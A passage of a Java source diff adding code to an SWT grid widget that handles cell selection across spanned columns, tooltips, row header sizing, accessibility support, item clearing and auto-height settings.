Point(indexOf(nextCol),itemIndex)); + } + } + + private Point[] getCells(GridItem item) + { + Vector cells = new Vector(); + + int itemIndex = indexOf(item); + + int span = 0; + + for (Iterator iter = displayOrderedColumns.iterator(); iter.hasNext();) + { + GridColumn nextCol = (GridColumn)iter.next(); + + if (span > 0) + { + span --; + continue; + } + + if (!nextCol.isVisible()) continue; + + span = item.getColumnSpan(indexOf(nextCol)); + + cells.add(new Point(indexOf(nextCol),itemIndex)); + } + return (Point[])cells.toArray(new Point[]{}); + } + + + private void getCells(GridItem fromItem, GridItem toItem, Vector cells) + { + boolean descending = (indexOf(fromItem) < indexOf(toItem)); + + GridItem iterItem = toItem; + + do + { + getCells(iterItem,cells); + + if (iterItem == fromItem) break; + + if (descending) + { + iterItem = getPreviousVisibleItem(iterItem); + } + else + { + iterItem = getNextVisibleItem(iterItem); + } + } while (true); + } + + private int blend(int v1, int v2, int ratio) { + return (ratio*v1 + (100-ratio)*v2)/100; + } + + private RGB blend(RGB c1, RGB c2, int ratio) { + int r = blend(c1.red, c2.red, ratio); + int g = blend(c1.green, c2.green, ratio); + int b = blend(c1.blue, c2.blue, ratio); + return new RGB(r, g, b); + } + + /** + * Returns a point whose x and y values are the to and from column indexes of the new selection + * range inclusive of all spanned columns. + * + * @param fromItem + * @param fromColumn + * @param toItem + * @param toColumn + * @return + */ + private Point getSelectionRange(GridItem fromItem, GridColumn fromColumn, GridItem toItem, GridColumn toColumn) + { + if (displayOrderedColumns.indexOf(fromColumn) > displayOrderedColumns.indexOf(toColumn)) + { + GridColumn temp = fromColumn; + fromColumn = toColumn; + toColumn = temp; + } + + if (indexOf(fromItem) > indexOf(toItem)) + { + GridItem temp = fromItem; + fromItem = toItem; + toItem = temp; + } + + boolean firstTime = true; + GridItem iterItem = fromItem; + + int fromIndex = indexOf(fromColumn); + int toIndex = indexOf(toColumn); + + do + { + if (!firstTime) + { + iterItem = getNextVisibleItem(iterItem); + } + else + { + firstTime = false; + } + + Point cols = getRowSelectionRange(iterItem, fromColumn, toColumn); + + //check and see if column spanning means that the range increased + if (cols.x != fromIndex || cols.y != toIndex) + { + GridColumn newFrom = getColumn(cols.x); + GridColumn newTo = getColumn(cols.y); + + //Unfortunately we have to start all over again from the top with the new range + return getSelectionRange(fromItem, newFrom, toItem, newTo); + } + } while (iterItem != toItem); + + return new Point(indexOf(fromColumn),indexOf(toColumn)); + } + + /** + * Returns a point whose x and y value are the to and from column indexes of the new selection + * range inclusive of all spanned columns. + * + * @param item + * @param fromColumn + * @param toColumn + * @return + */ + private Point getRowSelectionRange(GridItem item, GridColumn fromColumn, GridColumn toColumn) + { + int newFrom = indexOf(fromColumn); + int newTo = indexOf(toColumn); + + int span = 0; + int spanningColIndex = -1; + boolean spanningBeyondToCol = false; + + for (Iterator iter = displayOrderedColumns.iterator(); iter.hasNext();) + { + GridColumn col = (GridColumn)iter.next(); + + if (!col.isVisible()) + { + if (span > 0) span --; + continue; + } + + if (span > 0) + { + if (col == fromColumn) + { + newFrom = spanningColIndex; + } + else if (col == toColumn && span > 1) + { + spanningBeyondToCol = true; + } + + span --; + + if (spanningBeyondToCol && span == 0) + { + newTo = indexOf(col); + break; + } + } + else + { + int index = indexOf(col); + span = item.getColumnSpan(index); + if (span > 0) spanningColIndex = index; + + if (col == toColumn && span > 0) + spanningBeyondToCol = true; + } + + + if (col == toColumn && !spanningBeyondToCol) + break; + + } + + return new Point(newFrom,newTo); + } + + /** + * Returns the column which is spanning the given column for the given item or null if it is not + * being spanned. + * + * @param item + * @param column + * @return + */ + private GridColumn getSpanningColumn(GridItem item, GridColumn column) + { + int span = 0; + GridColumn spanningCol = null; + + for (Iterator iter = displayOrderedColumns.iterator(); iter.hasNext();) + { + GridColumn col = (GridColumn)iter.next(); + + if (col == column) + { + return spanningCol; + } + + if (span > 0) + { + span --; + if (span == 0) spanningCol = null; + } + else + { + int index = indexOf(col); + span = item.getColumnSpan(index); + + if (span > 0) spanningCol = col; + } + } + return spanningCol; + } + + /** + * Returns true if the given cell's x and y values are valid column and + * item indexes respectively. + * + * @param cell + * @return + */ + private boolean isValidCell(Point cell) + { + if (cell.x < 0 || cell.x >= columns.size()) + return false; + + if (cell.y < 0 || cell.y >= items.size()) + return false; + + return true; + } + + /** + * Shows the inplace tooltip for the given item and column. The location is the x and y origin + * of the text in the cell. + *

    + * This method may be overriden to provide their own custom tooltips. + * + * @param item the item currently hovered over or null. + * @param column the column currently hovered over or null. + * @param group the group currently hovered over or null. + * @param location the x,y origin of the text in the hovered object. + */ + protected void showToolTip(GridItem item, GridColumn column, GridColumnGroup group, Point location) + { + if (inplaceToolTip == null) + { + inplaceToolTip = new GridToolTip(this); + } + + if (group != null) + { + inplaceToolTip.setFont(getFont()); + inplaceToolTip.setText(group.getText()); + } + else if (item != null) + { + inplaceToolTip.setFont(item.getFont(item.getParent().indexOf(column))); + inplaceToolTip.setText(item.getText(item.getParent().indexOf(column))); + } + else if (column != null) + { + inplaceToolTip.setFont(getFont()); + inplaceToolTip.setText(column.getText()); + } + + + + Point p = getDisplay().map(this, null, location); + + inplaceToolTip.setLocation(p); + + inplaceToolTip.setVisible(true); + } + + /** + * Hides the inplace tooltip. + *

    + * This method must be overriden when showToolTip is overriden. Subclasses must + * call super when overriding this method. + */ + protected void hideToolTip() + { + if (inplaceToolTip != null) + { + inplaceToolTip.setVisible(false); + } + if (inplaceTooltipCapture) + { + setCapture(false); + inplaceTooltipCapture = false; + } + } + + void recalculateRowHeaderHeight(GridItem item,int oldHeight, int newHeight) { + checkWidget(); + + if( newHeight > itemHeight ) { + itemHeight = newHeight; + + userModifiedItemHeight = false; + hasDifferingHeights=false; + + itemHeight = computeItemHeight((GridItem) items.get(0), sizingGC); + + for(int cnt=0;cnt rowHeaderWidth) + { + rowHeaderWidth = newWidth; + } + else if (newWidth < rowHeaderWidth && oldWidth == rowHeaderWidth) + { + //if the changed width is smaller, and the previous width of that rows header was equal + //to the current row header width then its possible that we may need to make the new + //row header width smaller, but to do that we need to ask all the rows all over again + for (Iterator iter = items.iterator(); iter.hasNext();) + { + GridItem iterItem = (GridItem)iter.next(); + newWidth = Math.max(newWidth,rowHeaderRenderer.computeSize(sizingGC, SWT.DEFAULT,SWT.DEFAULT,iterItem).x); + } + + rowHeaderWidth = newWidth; + } + redraw(); + } + + /** + * {@inheritDoc} + */ + public void setFont(Font font) + { + super.setFont(font); + sizingGC.setFont(font); + } + + /** + * Returns the row header width or 0 if row headers are not visible. + * + * @return the width of the row headers + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int getItemHeaderWidth() + { + checkWidget(); + if (!rowHeaderVisible) + return 0; + return rowHeaderWidth; + } + /** + * Sets the row header width to the specified value. This automatically disables the auto width feature of the grid. + * @param width the width of the row header + * @see #getItemHeaderWidth() + * @see #setAutoWidth(boolean) + */ + public void setItemHeaderWidth(int width) + { + checkWidget(); + rowHeaderWidth = width; + setAutoWidth(false); + redraw(); + } + + /** + * Sets the number of items contained in the receiver. + * + * @param count the number of items + * + * @exception org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public void setItemCount(int count) + { + checkWidget(); + setRedraw(false); + if (count < 0) + count = 0; + + + if (count < items.size()) + { + //TODO delete and clear items if necessary + } + + while (count > items.size()) + { + new GridItem(this,SWT.NONE); + } + setRedraw(true); + } + + /** + * Initialize accessibility. + */ + private void initAccessible() + { + final Accessible accessible = getAccessible(); + accessible.addAccessibleListener(new AccessibleAdapter() + { + public void getDescription(AccessibleEvent e) + { + int childID = e.childID; + if (childID >= 0 && childID < items.size()) + { + String descrption = ""; + for (int i = 0; i < columns.size(); i++) + { + if (i != 0) + { + descrption += ((GridColumn)columns.get(i)).getText() + " : "; + descrption += ((GridItem)items.get(childID)).getText(i) + " "; + } + } + e.result = descrption; + } + } + + public void getName(AccessibleEvent e) + { + int childID = e.childID; + if (childID >= 0 && childID < items.size()) + { + // Name of the items + e.result = ((GridItem)items.get(childID)).getText(); + } + else if (childID >= items.size() && childID < items.size() + columns.size()) + { + // Name of the column headers + e.result = ((GridColumn)columns.get(childID - items.size())).getText(); + } + else if (childID >= items.size() + columns.size() + && childID < items.size() + columns.size() + columnGroups.length) + { + // Name of the column group headers + e.result = ((GridColumnGroup)columnGroups[childID - items.size() + - columns.size()]).getText(); + } + else if (childID >= items.size() + columns.size() + columnGroups.length + && childID < items.size() + columns.size() + columnGroups.length + + columnGroups.length) + { + // Name of the toggle button for column group headers + e.result = ACC_TOGGLE_BUTTON_NAME; + } + } + }); + + accessible.addAccessibleControlListener(new AccessibleControlAdapter() + { + public void getChildAtPoint(AccessibleControlEvent e) + { + Point location = toControl(e.x, e.y); + e.childID = ACC.CHILDID_SELF; + + // Grid Items + GridItem item = getItem(location); + if (item != null) + { + for (int i = 0; i < getItems().length; i++) + { + if (item.equals(getItem(i))) + { + e.childID = i; + return; + } + } + } + else + { + // Column Headers + GridColumn column = overColumnHeader(location.x, location.y); + if (column != null) + { + for (int i = 0; i < getColumns().length; i++) + { + if (column.equals(getColumn(i))) + { + e.childID = getItems().length + i; + return; + } + } + } + else + { + // Column Group headers + GridColumnGroup columnGroup = overColumnGroupHeader(location.x, location.y); + if (columnGroup != null) + { + for (int i = 0; i < getColumnGroups().length; i++) + { + if (columnGroup.equals(getColumnGroup(i))) + { + Rectangle toggle = ((DefaultColumnGroupHeaderRenderer)columnGroup + .getHeaderRenderer()).getToggleBounds(); + if (toggle.contains(location.x, location.y)) + { + // Toggle button for column group + // header + e.childID = getItems().length + getColumns().length + + getColumnGroups().length + i; + } + else + { + // Column Group header + e.childID = getItems().length + getColumns().length + i; + } + return; + } + } + } + } + } + } + + public void getChildCount(AccessibleControlEvent e) + { + if (e.childID == ACC.CHILDID_SELF) + { + int length = items.size(); + + if (isTree) + { + // Child count for parent. Here if the item parent + // is not an other item, + // it is consider as children of Grid + for (int i = 0; i < items.size(); i++) + { + if (((GridItem)items.get(i)).getParentItem() != null) + { + length--; + } + } + } + e.detail = length; + } + } + + public void getChildren(AccessibleControlEvent e) + { + if (e.childID == ACC.CHILDID_SELF) + { + int length = items.size(); + if (isTree) + { + for (int i = 0; i < items.size(); i++) + { + if (((GridItem)items.get(i)).getParentItem() != null) + { + length--; + } + } + + Object[] children = new Object[length]; + int j = 0; + + for (int i = 0; i < items.size(); i++) + { + if (((GridItem)items.get(i)).getParentItem() == null) + { + children[j] = new Integer(i); + j++; + } + } + e.children = children; + } + else + { + Object[] children = new Object[length]; + for (int i = 0; i < items.size(); i++) + { + children[i] = new Integer(i); + } + e.children = children; + } + } + } + + public void getDefaultAction(AccessibleControlEvent e) + { + int childID = e.childID; + if (childID >= 0 && childID < items.size()) + { + if (getItem(childID).hasChildren()) + { + // Action of tree items + if (getItem(childID).isExpanded()) + { + e.result = ACC_ITEM_ACTION_COLLAPSE; + } + else + { + e.result = ACC_ITEM_ACTION_EXPAND; + } + } + else + { + // action of default items + e.result = ACC_ITEM_DEFAULT_ACTION; + } + } + else if (childID >= items.size() + && childID < items.size() + columns.size() + columnGroups.length) + { + // action of column and column group header + e.result = ACC_COLUMN_DEFAULT_ACTION; + } + else if (childID >= items.size() + columns.size() + columnGroups.length + && childID < items.size() + columns.size() + columnGroups.length + + columnGroups.length) + { + // action of toggle button of column group header + e.result = SWT.getMessage("SWT_Press"); + } + } + + public void getLocation(AccessibleControlEvent e) + { + // location of parent + Rectangle location = getBounds(); + location.x = 0; + location.y = 0; + int childID = e.childID; + + if (childID >= 0 && childID < items.size()) + { + // location of items + GridItem item = getItem(childID); + if (item != null) + { + Point p = getOrigin((GridColumn)columns.get(0), item); + location.y = p.y; + location.height = item.getHeight(); + } + } + else if (childID >= items.size() && childID < items.size() + columns.size()) + { + // location of columns headers + GridColumn column = getColumn(childID - items.size()); + if (column != null) + { + location.x = getColumnHeaderXPosition(column); + if (column.getColumnGroup() == null) + { + location.y = 0; + } + else + { + location.y = groupHeaderHeight; + } + location.height = headerHeight; + location.width = column.getWidth(); + } + } + else if (childID >= items.size() + columns.size() + && childID < items.size() + columns.size() + columnGroups.length) + { + // location of column group header + GridColumnGroup columnGroup = getColumnGroup(childID - items.size() + - columns.size()); + if (columnGroup != null) + { + location.y = 0; + location.height = groupHeaderHeight; + location.x = getColumnHeaderXPosition(columnGroup.getFirstVisibleColumn()); + int width = 0; + for (int i = 0; i < columnGroup.getColumns().length; i++) + { + if (columnGroup.getColumns()[i].isVisible()) + { + width += columnGroup.getColumns()[i].getWidth(); + } + } + location.width = width; + } + } + else if (childID >= items.size() + columns.size() + columnGroups.length + && childID < items.size() + columns.size() + columnGroups.length + + columnGroups.length) + { + // location of toggle button of column group header + GridColumnGroup columnGroup = getColumnGroup(childID - items.size() + - columns.size() + - columnGroups.length); + location = ((DefaultColumnGroupHeaderRenderer)columnGroup.getHeaderRenderer()) + .getToggleBounds(); + } + + if (location != null) + { + Point pt = toDisplay(location.x, location.y); + e.x = pt.x; + e.y = pt.y; + e.width = location.width; + e.height = location.height; + } + } + + public void getRole(AccessibleControlEvent e) + { + int childID = e.childID; + if (childID >= 0 && childID < items.size()) + { + // role of items + if (isTree) + { + e.detail = ACC.ROLE_TREEITEM; + } + else + { + e.detail = ACC.ROLE_LISTITEM; + } + } + else if (childID >= items.size() + && childID < items.size() + columns.size() + columnGroups.length) + { + // role of columns headers and column group headers + e.detail = ACC.ROLE_TABLECOLUMNHEADER; + } + else if (childID >= items.size() + columns.size() + columnGroups.length + && childID < items.size() + columns.size() + columnGroups.length + + columnGroups.length) + { + // role of toggle button of column group headers + e.detail = ACC.ROLE_PUSHBUTTON; + } + else if (childID == ACC.CHILDID_SELF) + { + // role of parent + if (isTree) + { + e.detail = ACC.ROLE_TREE; + } + else + { + e.detail = ACC.ROLE_TABLE; + } + } + } + + public void getSelection(AccessibleControlEvent e) + { + e.childID = ACC.CHILDID_NONE; + if (selectedItems.size() == 1) + { + // Single selection + e.childID = indexOf(((GridItem)selectedItems.get(0))); + } + else if (selectedItems.size() > 1) + { + // multiple selection + e.childID = ACC.CHILDID_MULTIPLE; + int length = selectedItems.size(); + Object[] children = new Object[length]; + + for (int i = 0; i < length; i++) + { + GridItem item = (GridItem)selectedItems.get(i); + children[i] = new Integer(indexOf(item)); + } + e.children = children; + } + } + + public void getState(AccessibleControlEvent e) + { + int childID = e.childID; + if (childID >= 0 && childID < items.size()) + { + // state of items + e.detail = ACC.STATE_SELECTABLE; + if (getDisplay().getActiveShell() == getParent().getShell()) + { + e.detail |= ACC.STATE_FOCUSABLE; + } + + if (selectedItems.contains(getItem(childID))) + { + e.detail |= ACC.STATE_SELECTED; + if (getDisplay().getActiveShell() == getParent().getShell()) + { + e.detail |= ACC.STATE_FOCUSED; + } + } + + if (getItem(childID).getChecked()) + { + e.detail |= ACC.STATE_CHECKED; + } + + // only for tree type items + if (getItem(childID).hasChildren()) + { + if (getItem(childID).isExpanded()) + { + e.detail |= ACC.STATE_EXPANDED; + } + else + { + e.detail |= ACC.STATE_COLLAPSED; + } + } + + if (!getItem(childID).isVisible()) + { + e.detail |= ACC.STATE_INVISIBLE; + } + } + else if (childID >= items.size() + && childID < items.size() + columns.size() + columnGroups.length) + { + // state of column headers and column group headers + e.detail = ACC.STATE_READONLY; + } + else if (childID >= items.size() + columns.size() + columnGroups.length + && childID < items.size() + columns.size() + columnGroups.length + + columnGroups.length) + { + // state of toggle button of column group headers + if (getColumnGroup( + childID - items.size() - columns.size() + - columnGroups.length).getExpanded()) + { + e.detail = ACC.STATE_EXPANDED; + } + else + { + e.detail = ACC.STATE_COLLAPSED; + } + } + } + + public void getValue(AccessibleControlEvent e) + { + int childID = e.childID; + if (childID >= 0 && childID < items.size()) + { + // value for tree items + if (isTree) + { + e.result = "" + getItem(childID).getLevel(); + } + } + } + }); + + addListener(SWT.Selection, new Listener() + { + public void handleEvent(Event event) + { + if (selectedItems.size() > 0) + { + accessible.setFocus(items.indexOf(selectedItems.get(selectedItems.size() - 1))); + } + } + }); + + addTreeListener(new TreeListener() + { + public void treeCollapsed(TreeEvent e) + { + if (getFocusItem() != null) + { + accessible.setFocus(items.indexOf(getFocusItem())); + } + } + + public void treeExpanded(TreeEvent e) + { + if (getFocusItem() != null) + { + accessible.setFocus(items.indexOf(getFocusItem())); + } + } + }); + } + + /** + * @return the disposing + */ + boolean isDisposing() + { + return disposing; + } + + /** + * @param hasSpanning the hasSpanning to set + */ + void setHasSpanning(boolean hasSpanning) + { + this.hasSpanning = hasSpanning; + } + + /** + * Returns the receiver's tool tip text, or null if it has + * not been set. + * + * @return the receiver's tool tip text + * + * @exception SWTException
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public String getToolTipText() { + checkWidget(); + return toolTipText; + } + + + /** + * Sets the receiver's tool tip text to the argument, which + * may be null indicating that no tool tip text should be shown. + * + * @param string the new tool tip text (or null) + * + * @exception SWTException
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public void setToolTipText(String string) { + checkWidget(); + toolTipText = string; + } + + /** + * Updates the row height when the first image is set on an item. + * @param column the column the image is change + * @param item item which images has just been set on. + */ + void imageSetOnItem(int column, GridItem item) + { + if( sizeOnEveryItemImageChange ) { + if( item == null || item.getImage(column) == null ) + return; + + int height = item.getImage(column).getBounds().height; + //FIXME Needs better algorithm + if( height + 20 > getItemHeight() ) { + height = computeItemHeight(item,sizingGC); + setItemHeight(height); + } + } else { + if (firstImageSet || userModifiedItemHeight) return; + + int height = computeItemHeight(item,sizingGC); + setItemHeight(height); + + firstImageSet = true; + } + } + + /** + * Determines if the mouse is hovering on the selection drag area and changes the + * pointer and sets field appropriately. + *

    + * Note: The 'selection drag area' is that part of the selection, + * on which a drag event can be initiated. This is either the border + * of the selection (i.e. a cell border between a slected and a non-selected + * cell) or the complete selection (i.e. anywhere on a selected cell). + * What area serves as drag area is determined by {@link #setDragOnFullSelection(boolean)}. + * + * @param x + * @param y + * @return + * @see #setDragOnFullSelection(boolean) + */ + private boolean handleHoverOnSelectionDragArea(int x, int y) + { + boolean over = false; +// Point inSelection = null; + + if ( (!rowHeaderVisible || x > rowHeaderWidth-SELECTION_DRAG_BORDER_THRESHOLD) + && (!columnHeadersVisible || y > headerHeight-SELECTION_DRAG_BORDER_THRESHOLD) ) + { + // not on a header + +// if(!dragOnFullSelection) +// { +// // drag area is the border of the selection +// +// if(cellSelectionEnabled) +// { +// Point neP = new Point( x-SELECTION_DRAG_BORDER_THRESHOLD, y-SELECTION_DRAG_BORDER_THRESHOLD ); +// Point ne = getCell(neP); +// Point nwP = new Point( x+SELECTION_DRAG_BORDER_THRESHOLD, y-SELECTION_DRAG_BORDER_THRESHOLD ); +// Point nw = getCell(nwP); +// Point swP = new Point( x+SELECTION_DRAG_BORDER_THRESHOLD, y+SELECTION_DRAG_BORDER_THRESHOLD ); +// Point sw = getCell(swP); +// Point seP = new Point( x-SELECTION_DRAG_BORDER_THRESHOLD, y+SELECTION_DRAG_BORDER_THRESHOLD ); +// Point se = getCell(seP); +// +// boolean neSel = ne != null && isCellSelected(ne); +// boolean nwSel = nw != null && isCellSelected(nw); +// boolean swSel = sw != null && isCellSelected(sw); +// boolean seSel = se != null && isCellSelected(se); +// +// over = (neSel || nwSel || swSel || seSel) && (!neSel || !nwSel || !swSel || !seSel); +//// inSelection = neSel ? neP : nwSel ? nwP : swSel ? swP : seSel ? seP : null; +// } +// else +// { +// Point nP = new Point( x, y-SELECTION_DRAG_BORDER_THRESHOLD ); +// GridItem n = getItem(nP); +// Point sP = new Point( x, y+SELECTION_DRAG_BORDER_THRESHOLD ); +// GridItem s = getItem(sP); +// +// boolean nSel = n != null && isSelected(n); +// boolean sSel = s != null && isSelected(s); +// +// over = nSel != sSel; +//// inSelection = nSel ? nP : sSel ? sP : null; +// } +// } +// else +// { + // drag area is the entire selection + + if(cellSelectionEnabled) + { + Point p = new Point(x,y); + Point cell = getCell(p); + over = cell !=null && isCellSelected(cell); +// inSelection = over ? p : null; + } + else + { + Point p = new Point(x,y); + GridItem item = getItem(p); + over = item != null && isSelected(item); +// inSelection = over ? p : null; + } + } +// } + + if (over != hoveringOnSelectionDragArea) + { +// if (over) +// { +// // use drag cursor only in border mode +// if (!dragOnFullSelection) +// setCursor(getDisplay().getSystemCursor(SWT.CURSOR_SIZEALL)); +//// potentialDragStart = inSelection; +// } +// else +// { +// setCursor(null); +//// potentialDragStart = null; +// } + hoveringOnSelectionDragArea = over; + } + return over; + } + + /** + * Display a mark indicating the point at which an item will be inserted. + * This is used as a visual hint to show where a dragged item will be + * inserted when dropped on the grid. This method should not be called + * directly, instead {@link DND#FEEDBACK_INSERT_BEFORE} or + * {@link DND#FEEDBACK_INSERT_AFTER} should be set in + * {@link DropTargetEvent#feedback} from within a {@link DropTargetListener}. + * + * @param item the insert item. Null will clear the insertion mark. + * @param column the column of the cell. Null will make the insertion mark span all columns. + * @param before true places the insert mark above 'item'. false places + * the insert mark below 'item'. + * + * @exception IllegalArgumentException

      + *
    • ERROR_INVALID_ARGUMENT - if the item or column has been disposed
    • + *
    + * @exception SWTException
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + void setInsertMark (GridItem item, GridColumn column, boolean before) { + checkWidget (); + if (item != null) { + if (item.isDisposed()) + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + if (column != null) { + if (column.isDisposed()) + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + insertMarkItem = item; + insertMarkColumn = column; + insertMarkBefore = before; + redraw(); + } + + /** + * A helper method for {@link GridDropTargetEffect#dragOver(DropTargetEvent)}. + * + * @param point + * @return true if point is near the top or bottom border of the visible grid area + */ + boolean isInDragScrollArea(Point point) { + int rhw = rowHeaderVisible ? rowHeaderWidth : 0; + int chh = columnHeadersVisible ? headerHeight : 0; + Rectangle top = new Rectangle(rhw, chh, getClientArea().width - rhw, DRAG_SCROLL_AREA_HEIGHT); + Rectangle bottom = new Rectangle(rhw, getClientArea().height - DRAG_SCROLL_AREA_HEIGHT, getClientArea().width - rhw, DRAG_SCROLL_AREA_HEIGHT); + return top.contains(point) || bottom.contains(point); + } + + /** + * Clears the item at the given zero-relative index in the receiver. + * The text, icon and other attributes of the item are set to the default + * value. If the table was created with the SWT.VIRTUAL style, + * these attributes are requested again as needed. + * + * @param index the index of the item to clear + * @param allChildren true if all child items of the indexed item should be + * cleared recursively, and false otherwise + * + * @exception IllegalArgumentException
      + *
    • ERROR_INVALID_RANGE - if the index is not between 0 and the number of elements in the list minus 1 (inclusive)
    • + *
    + * @exception SWTException
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * + * @see SWT#VIRTUAL + * @see SWT#SetData + */ + public void clear(int index, boolean allChildren) { + checkWidget(); + if (index < 0 || index >= items.size()) { + SWT.error(SWT.ERROR_INVALID_RANGE); + } + + GridItem item = getItem(index); + item.clear(allChildren); + redraw(); + } + + /** + * Clears the items in the receiver which are between the given + * zero-relative start and end indices (inclusive). The text, icon + * and other attributes of the items are set to their default values. + * If the table was created with the SWT.VIRTUAL style, + * these attributes are requested again as needed. + * + * @param start the start index of the item to clear + * @param end the end index of the item to clear + * @param allChildren true if all child items of the range of items should be + * cleared recursively, and false otherwise + * + * @exception IllegalArgumentException
      + *
    • ERROR_INVALID_RANGE - if either the start or end are not between 0 and the number of elements in the list minus 1 (inclusive)
    • + *
    + * @exception SWTException
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * + * @see SWT#VIRTUAL + * @see SWT#SetData + */ + public void clear(int start, int end, boolean allChildren) { + checkWidget(); + if (start > end) return; + + int count = items.size(); + if (!(0 <= start && start <= end && end < count)) { + SWT.error(SWT.ERROR_INVALID_RANGE); + } + for (int i=start; i<=end; i++) { + GridItem item = (GridItem)items.get(i); + item.clear(allChildren); + } + redraw(); + } + + /** + * Clears the items at the given zero-relative indices in the receiver. + * The text, icon and other attributes of the items are set to their default + * values. If the table was created with the SWT.VIRTUAL style, + * these attributes are requested again as needed. + * + * @param indices the array of indices of the items + * @param allChildren true if all child items of the indexed items should be + * cleared recursively, and false otherwise + * + * @exception IllegalArgumentException
      + *
    • ERROR_INVALID_RANGE - if the index is not between 0 and the number of elements in the list minus 1 (inclusive)
    • + *
    • ERROR_NULL_ARGUMENT - if the indices array is null
    • + *
    + * @exception SWTException
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * + * @see SWT#VIRTUAL + * @see SWT#SetData + */ + public void clear(int [] indices, boolean allChildren) { + checkWidget(); + if (indices == null) { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + if (indices.length == 0) return; + + int count = items.size(); + for (int i=0; iSWT.VIRTUAL style, these + * attributes are requested again as needed. + * + * @param allChildren true if all child items of each item should be + * cleared recursively, and false otherwise + * + * @exception SWTException
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * + * @see SWT#VIRTUAL + * @see SWT#SetData + */ + public void clearAll(boolean allChildren) { + checkWidget(); + if (items.size() > 0) + clear(0, items.size()-1, allChildren); + } + + /** + * Recalculate the height of the header + */ + public void recalculateHeader() { + int previous = getHeaderHeight(); + computeHeaderHeight(sizingGC); + + if( previous != getHeaderHeight() ) { + scrollValuesObsolete = true; + redraw(); + } + } + + /** + * Query the grid for all currently visible rows and columns + *

    + * This support is provisional and may change + *

    + * @return all currently visible rows and columns + */ + public GridVisibleRange getVisibleRange() { + //FIXME I think we should remember the topIndex in the onPaint-method + int topIndex = getTopIndex(); + int bottomIndex = getBottomIndex(); + int startColumnIndex = getStartColumnIndex(); + int endColumnIndex = getEndColumnIndex(); + + GridVisibleRange range = new GridVisibleRange(); + range.items = new GridItem[0]; + range.columns = new GridColumn[0]; + + if( topIndex <= bottomIndex ) { + if( items.size() > 0 ) { + range.items = new GridItem[bottomIndex - topIndex + 1]; + for( int i = topIndex; i <= bottomIndex; i++ ) { + range.items[i - topIndex] = (GridItem) items.get(i); + } + } + } + + if( startColumnIndex <= endColumnIndex ) { + if( displayOrderedColumns.size() > 0 ) { + ArrayList cols = new ArrayList(); + for( int i = startColumnIndex; i <= endColumnIndex; i++ ) { + GridColumn col = (GridColumn) displayOrderedColumns.get(i); + if( col.isVisible() ) { + cols.add(col); + } + } + + range.columns = new GridColumn[cols.size()]; + cols.toArray(range.columns); + } + } + + return range; + } + + int getStartColumnIndex() { + checkWidget(); + + if( startColumnIndex != -1 ) { + return startColumnIndex; + } + + if( !hScroll.getVisible() ) { + startColumnIndex = 0; + } + + startColumnIndex = hScroll.getSelection(); + + return startColumnIndex; + } + + int getEndColumnIndex() { + checkWidget(); + + if( endColumnIndex != -1 ) { + return endColumnIndex; + } + + if( displayOrderedColumns.size() == 0 ) { + endColumnIndex = 0; + } else if( getVisibleGridWidth() < 1 ) { + endColumnIndex = getStartColumnIndex(); + } else { + int x = 0; + x -= getHScrollSelectionInPixels(); + + if (rowHeaderVisible) + { + //row header is actually painted later + x += rowHeaderWidth; + } + + int startIndex = getStartColumnIndex(); + GridColumn[] columns = new GridColumn[displayOrderedColumns.size()]; + displayOrderedColumns.toArray(columns); + + for (int i = startIndex; i < columns.length; i++) + { + endColumnIndex = i; + GridColumn column = columns[i]; + + if (column.isVisible()) + { + x += column.getWidth(); + } + + if (x > getClientArea().width) { + + break; + } + } + + } + + endColumnIndex = Math.max(0, endColumnIndex); + + return endColumnIndex; + } + + void setSizeOnEveryItemImageChange(boolean sizeOnEveryItemImageChange) { + this.sizeOnEveryItemImageChange = sizeOnEveryItemImageChange; + } + + /** + * Returns the width of the row headers. + * + * @return width of the column header row + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public int getRowHeaderWidth() { + checkWidget(); + return rowHeaderWidth; + } + + /** + * Sets the value of the auto-height feature. When enabled, this feature resizes the height of rows to + * reflect the content of cells with word-wrapping enabled. Cell word-wrapping is enabled via the GridColumn.setWordWrap(boolean) method. + * If column headers have word-wrapping enabled, this feature will also resize the height of the column headers as necessary. + * @param enabled Set to true to enable this feature, false (default) otherwise. + */ + public void setAutoHeight(boolean enabled) + { + if (autoHeight == enabled) + return; + + checkWidget(); + autoHeight = enabled; + setRowsResizeable(false); // turn of resizing of row height since it conflicts with this property + redraw(); + } + + /** + * Returns the value of the auto-height feature, which resizes row heights and column header heights based on word-wrapped content. + * @return Returns whether or not the auto-height feature is enabled. + * @see #setAutoHeight(boolean) + */ + public boolean isAutoHeight() + { + return autoHeight; + } + + /** + * Sets the value of the auto-width feature. When enabled, this feature resizes the width of the row headers to + * reflect the content of row headers. + * @param enabled Set to true to enable this feature, false (default) 